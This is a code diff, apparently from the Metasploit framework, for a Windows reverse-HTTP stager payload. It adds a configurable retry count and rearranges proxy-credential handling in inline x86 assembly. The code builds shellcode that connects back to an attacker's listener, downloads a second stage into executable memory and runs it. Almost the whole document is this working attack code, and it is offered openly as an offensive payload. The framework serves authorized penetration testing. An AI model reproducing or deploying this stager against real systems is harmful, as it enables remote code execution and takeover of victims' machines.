@@ -28,11 +28,12 @@ def initialize(*args)
2828 register_advanced_options (
2929 [
3030 OptInt . new ( 'StagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] ) ,
31+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails' , 10 ] ) ,
3132 OptString . new ( 'PayloadProxyHost' , [ false , 'An optional proxy server IP address or hostname' ] ) ,
3233 OptPort . new ( 'PayloadProxyPort' , [ false , 'An optional proxy server port' ] ) ,
3334 OptString . new ( 'PayloadProxyUser' , [ false , 'An optional proxy server username' ] ) ,
3435 OptString . new ( 'PayloadProxyPass' , [ false , 'An optional proxy server password' ] ) ,
35- OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] ) ,
36+ OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] )
3637 ] , self . class )
3738 end
3839
@@ -46,7 +47,8 @@ def generate
4647 ssl : false ,
4748 host : datastore [ 'LHOST' ] ,
4849 port : datastore [ 'LPORT' ] ,
49- url : "/" + generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITW ) )
50+ url : generate_small_uri ,
51+ retry_count : datastore [ 'StagerRetryCount' ] )
5052 end
5153
5254 conf = {
@@ -59,7 +61,8 @@ def generate
5961 proxy_port : datastore [ 'PayloadProxyPort' ] ,
6062 proxy_user : datastore [ 'PayloadProxyUser' ] ,
6163 proxy_pass : datastore [ 'PayloadProxyPass' ] ,
62- proxy_type : datastore [ 'PayloadProxyType' ]
64+ proxy_type : datastore [ 'PayloadProxyType' ] ,
65+ retry_count : datastore [ 'StagerRetryCount' ]
6366 }
6467
6568 generate_reverse_http ( conf )
@@ -130,24 +133,23 @@ def required_space
130133 end
131134
132135 #
133- # Dynamic payload generation
136+ # Generate an assembly stub with the configured feature set and options.
137+ #
138+ # @option opts [Bool] :ssl Whether or not to enable SSL
139+ # @option opts [String] :url The URI to request during staging
140+ # @option opts [String] :host The host to connect to
141+ # @option opts [Fixnum] :port The port to connect to
142+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
143+ # @option opts [String] :proxy_host The optional proxy server host to use
144+ # @option opts [Fixnum] :proxy_port The optional proxy server port to use
145+ # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
146+ # @option opts [String] :proxy_user The optional proxy server username
147+ # @option opts [String] :proxy_pass The optional proxy server password
148+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
134149 #
135150 def asm_reverse_http ( opts = { } )
136151
137- #
138- # options should contain:
139- # ssl: (true|false)
140- # url: "/url_to_request"
141- # host: [hostname]
142- # port: [port]
143- # exitfunk: [process|thread|seh|sleep]
144- # proxy_host: [proxy-server]
145- # proxy_port: [port]
146- # proxy_user: [username]
147- # proxy_pass: [password]
148- # proxy_type: [HTTP|SOCKS]
149- #
150-
152+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
151153 proxy_enabled = !!( opts [ :proxy_host ] . to_s . strip . length > 0 )
152154 proxy_info = ""
153155
@@ -202,25 +204,19 @@ def asm_reverse_http(opts={})
202204 push esp ; Push a pointer to the "wininet" string on the stack.
203205 push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
204206 call ebp ; LoadLibraryA( "wininet" )
205-
206- set_retry:
207- push.i8 8 ; retry 8 times should be enough
208- pop edi
209-
210207 xor ebx, ebx ; Set ebx to NULL to use in future arguments
211208 ^
212209
213210 if proxy_enabled
214211 asm << %Q^
215- call get_proxy_server
216- db "#{ proxy_info } ", 0x00
217- get_proxy_server:
218- pop ecx
219212 internetopen:
220213 push ebx ; DWORD dwFlags
221214 push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
222- push ecx ; LPCTSTR lpszProxyName (NULL)
223- push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
215+ call get_proxy_server
216+ db "#{ proxy_info } ", 0x00
217+ get_proxy_server:
218+ ; LPCTSTR lpszProxyName (via call)
219+ push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
224220 push ebx ; LPCTSTR lpszAgent (NULL)
225221 push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
226222 call ebp
@@ -242,7 +238,7 @@ def asm_reverse_http(opts={})
242238 internetconnect:
243239 push ebx ; DWORD_PTR dwContext (NULL)
244240 push ebx ; dwFlags
245- push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
241+ push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
246242 push ebx ; password (NULL)
247243 push ebx ; username (NULL)
248244 push #{ opts [ :port ] } ; PORT
@@ -261,15 +257,14 @@ def asm_reverse_http(opts={})
261257
262258 if proxy_enabled && proxy_user
263259 asm << %Q^
260+ ; DWORD dwBufferLength (length of username)
261+ push #{ proxy_user . length }
264262 call set_proxy_username
265263 proxy_username:
266264 db "#{ proxy_user } ",0x00
267265 set_proxy_username:
268- pop ecx ; Save the proxy username into ecx
269- ; DWORD dwBufferLength (length of username)
270- push #{ proxy_user . length }
271- push ecx ; LPVOID lpBuffer (username)
272- push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
266+ ; LPVOID lpBuffer (username from previous call)
267+ push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
273268 push esi ; hConnection
274269 push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
275270 call ebp
@@ -278,15 +273,14 @@ def asm_reverse_http(opts={})
278273
279274 if proxy_enabled && proxy_pass
280275 asm << %Q^
276+ ; DWORD dwBufferLength (length of password)
277+ push #{ proxy_pass . length }
281278 call set_proxy_password
282279 proxy_password:
283280 db "#{ proxy_pass } ",0x00
284281 set_proxy_password:
285- pop ecx ; Save the proxy password into ecx
286- ; DWORD dwBufferLength (length of password)
287- push #{ proxy_pass . length }
288- push ecx ; LPVOID lpBuffer (password)
289- push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
282+ ; LPVOID lpBuffer (password from previous call)
283+ push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
290284 push esi ; hConnection
291285 push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
292286 call ebp
@@ -307,6 +301,11 @@ def asm_reverse_http(opts={})
307301 call ebp
308302 xchg esi, eax ; save hHttpRequest in esi
309303
304+ ; Store our retry counter in the edi register
305+ set_retry:
306+ push #{ retry_count }
307+ pop edi
308+
310309 send_request:
311310 ^
312311
@@ -321,9 +320,9 @@ def asm_reverse_http(opts={})
321320 ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
322321 ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
323322 mov eax, esp
324- push.i8 4 ; sizeof(dwFlags)
323+ push 4 ; sizeof(dwFlags)
325324 push eax ; &dwFlags
326- push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
325+ push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
327326 push esi ; hHttpRequest
328327 push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
329328 call ebp
@@ -364,7 +363,7 @@ def asm_reverse_http(opts={})
364363
365364 asm << %Q^
366365 allocate_memory:
367- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
366+ push 0x40 ; PAGE_EXECUTE_READWRITE
368367 push 0x1000 ; MEM_COMMIT
369368 push 0x00400000 ; Stage allocation (4Mb ought to do us)
370369 push ebx ; NULL as we dont care where the allocation is
0 commit comments